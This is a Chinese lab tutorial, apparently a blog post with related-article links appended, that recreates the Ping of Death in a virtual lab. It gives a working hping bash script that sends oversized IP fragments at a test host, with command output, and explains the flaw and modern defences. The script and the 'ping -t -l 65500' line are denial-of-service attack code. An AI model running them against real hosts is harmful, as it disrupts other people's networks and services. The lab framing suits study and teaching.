模拟实现死亡之Ping(Ping of death)
需求描述
使用hping构造IP分片,模拟实现死亡之Ping
环境搭建
使用VMWare和Dynamips。
实现思路
构造重装后大于65535字节的IP分片
|
hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1 for ((i=1;i<50;i++)) do j=`expr $i \* 1408` hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1 done hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1 |
实验实施
1. 在PC2上安装Hping源码包
|
[root@localhost ~]# tar zxf hping2.0.0-rc3.tar.gz [root@localhost ~]# ls anaconda-ks.cfg Desktop hping2.0.0-rc3.tar.gz hping2-rc3 install.log install.log.syslog [root@localhost ~]# mv hping2-rc3/ hping [root@localhost ~]# cd hping [root@localhost hping]# ./configure [root@localhost hping]# make && make install |
2. 在Web主机上定位Sniffer上定义过滤器用来抓包
3. 在PC2上用ping命令发送在和大小为70000的ICMP包
|
[root@localhost ~]# ping 192.168.1.1 -s 70000 -c 1 Error: packet size 70000 is too large. Maximum is 65507 ##系统报错:允许发送的ICMP包的子啊和最大为65507. |
4. 用hping命令,发送数据为7000的ICMP包
|
[root@localhost ~]# hping 192.168.1.1 -1 -d 70000 -c 1 HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 4464 data bytes len=1500 ip=192.168.1.1 ttl=127 DF id=57 icmp_seq=0 rtt=39.8 ms --- 192.168.1.1 hping statistic --- 1 packets tramitted, 1 packets received, 0% packet loss round-trip min/avg/max = 39.8/39.8/39.8 ms ##可以看到,只截取了4464字节的数据 |
5. 在Web服务器上启用sniffer抓包
6. 在PC2上编辑一个脚本,先发送两个小IP分片测试
|
[root@localhost ~]# vim pingcs.sh [root@localhost ~]# more pingcs.sh #!/bin/bash hping 192.168.1.1 -1 -x -d 800 -N 100 -c 1 hping 192.168.1.1 -1 -d 200 -g 808 -N 100 -c 1 [root@localhost ~]# chmod +x pingcs.sh [root@localhost ~]# ./pingcs.sh HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 800 data bytes --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 200 data bytes --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
7. 在Web主机上查看抓到的IP分片
8. 在PC2上发送重装后大于65535字节的IP分片
|
[root@localhost ~]# vim pingofdeath.sh [root@localhost ~]# more pingofdeath.sh #!/bin/bash hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1 for ((i=1;i<50;i++)) do j=`expr $i \* 1408` hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1 done hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1 [root@localhost ~]# chmod +x pingofdeath.sh [root@localhost ~]# ./pingofdeath.sh --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms … |
9. 在Web主机上启用sniffer抓包,可以看到很多IP分片,从中找到offset=64768的包
补充:
死亡之Ping(ping of death)
对目标IP不停地Ping探测从而致使目标主机网络瘫痪。常见工具有蜗牛炸弹、AhBomb等。
由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方死机。
防御:现在所有的标准TCP/IP实现都已实现对付超大尺寸的包,并且大多数防火墙能够自动过滤这些攻击,包括:从windows 98之后的windows NT(service pack 3之后),Solaris、和Mac OS都具有抵抗一般ping of death攻击的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类攻击。
ping -t -l 65500 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
至此、实验完毕!
附上hping下载地址:https://github.com/antirez/hping
模拟实现死亡之Ping(Ping of death)的更多相关文章
- 死亡之ping(Ping of Death)
最简单的基于IP的攻击可能要数著名的死亡之ping,这种攻击主要是由于单个包的长度超过了IP协议规范所规定的包长度.产生这样的包很容易,事实上,许多操作系统都提供了称为ping的网络工具.在为Wind ...
- 简单的DOS攻击之死亡之ping详解
DOS攻击之死亡之ping详解,dos攻击,俗称拒绝服务攻击,通过发送大量的无用请求数据包给服务器,耗尽服务器资源,从而无法通过正常的访问服务器资源,导致服务器崩溃. 如果多个ip通过发起对一个服务器 ...
- HDU 6203 ping ping ping(贪心+LCA+DFS序+BIT)
ping ping ping Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) T ...
- hdu 6203 ping ping ping(LCA+树状数组)
hdu 6203 ping ping ping(LCA+树状数组) 题意:给一棵树,有m条路径,问至少删除多少个点使得这些路径都不连通 \(1 <= n <= 1e4\) \(1 < ...
- [GXYCTF2019]Ping Ping Ping
0x00 知识点 命令执行变量拼接 /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 过滤bash用sh执行 echo$IFS$1Y2F0IGZsYWcucGhw|base6 ...
- [BUUOJ记录] [GXYCTF2019]Ping Ping Ping
主要考察RCE的防护绕过,感觉考的还是比较全的 先构造Payload: ?ip=127.0.0.1;ls 看到目录下有两个文件,fuzz一下发现过滤了 空格 / + * ? { } ( ) [ ]等符 ...
- [GXYCTF2019]Ping Ping Ping 1
进入界面 根据提示进行ping信号 看到网页的内容就想到经典的Linux命令执行,使用命令执行的管道符 " | "尝试列出文件 FLAG应该在Flag.php里面 构造play ...
- BUUCTF(十)[GXYCTF2019]Ping Ping Ping 1
BUUCTF系列 /?ip=baidu.com /?ip=baidu.com|ls 正常回显,当cat flag.php时,提示不让输入空格,而且后面还不让出现falg字符 IFS IFS (Inte ...
- [GXYCTF2019]Ping Ping Ping(ping命令执行绕过Waf)
记一道ping注入的题.过滤了很多字符. 分析 简单的测了一下,很容易就拿到了flag.php和index.php. 但是存在waf无法直接查看.直接?ip=127.0.0.1|cat flag.ph ...
随机推荐
- hdu 4068 SanguoSHA
搜索下就可以了…… 代码如下: #include<iostream> #include<cstring> #include<cstdio> #include< ...
- JavaScript中函数的形参和实参的实现原理剖析
我们都知道JS里面参数的传递是可以不一样的,比如我们有一个函数: <script type="text/javascript"> function one(a,b,c) ...
- easyUI Admin 模板
http://www.oschina.net/p/Easy-Admin?fromerr=23Tfbale
- Linux inotify功能及实现原理
http://www.cnblogs.com/jiejnan/archive/2012/05/18/2507476.html 简介: 当需要对 Linux®文件系统进行高效率.细粒度.异步地监控时,可 ...
- PHP组合模式、策略模式
一.问题 模拟不同课程有不同的收费方式,并且能灵活改变(新增或删减),如讲座可以固定收费也可改为按时收费,研讨会也是. 二.模式简介及关键点 1.在父类代码中使用条件语句是一种退倒,可以用多态来代替条 ...
- SSL简介
注:本文基于互联网内容整合而成,非原创.参考文章参加[7.参考资料].引用时请附上原文地址. SSL(Secure Socket Layer,安全套接字层)是位于可靠的面向连接的网络层协议和应用层协议 ...
- iOS 关于微信检测SDK应用的原理浅析
微信作为一个开放平台,各方面都是做得比较好的,推出了SDK之后,微信与使用了SDK的应用便能进行更多交互.但在iOS平台上,应用间交换数据还是相对麻烦的,那么微信为什么能直接在应用检测到其他使用了SD ...
- jenkins集成自动化部署插件(一) deploy-plugin
在实际情况中项目构建成功,特别是web项目构建成功是需要将war放到对应的服务上面,进行运行(测试的阶段可能就是发布到测试服务器上面)这样只需要指定构建的触发策略就可以自动构建以及部署,省去不少人工的 ...
- Android 获取屏幕高度,宽度,状态栏高度
背景介绍: 到目前为止,android已经从1.5发展到目前的3.2,我们在写一个应用的时候,最常用到得就是获取屏幕高度,宽度,以及status bar的高度. 然而android系统变化太快了,从开 ...
- powerdesigner jdbc 连接 oracle
实验环境: powerdesigner 15 oracle 11g jdk1.6.0_43 提示:jdk必须选择32位,64位会报 "Could not Initialize JavaVM ...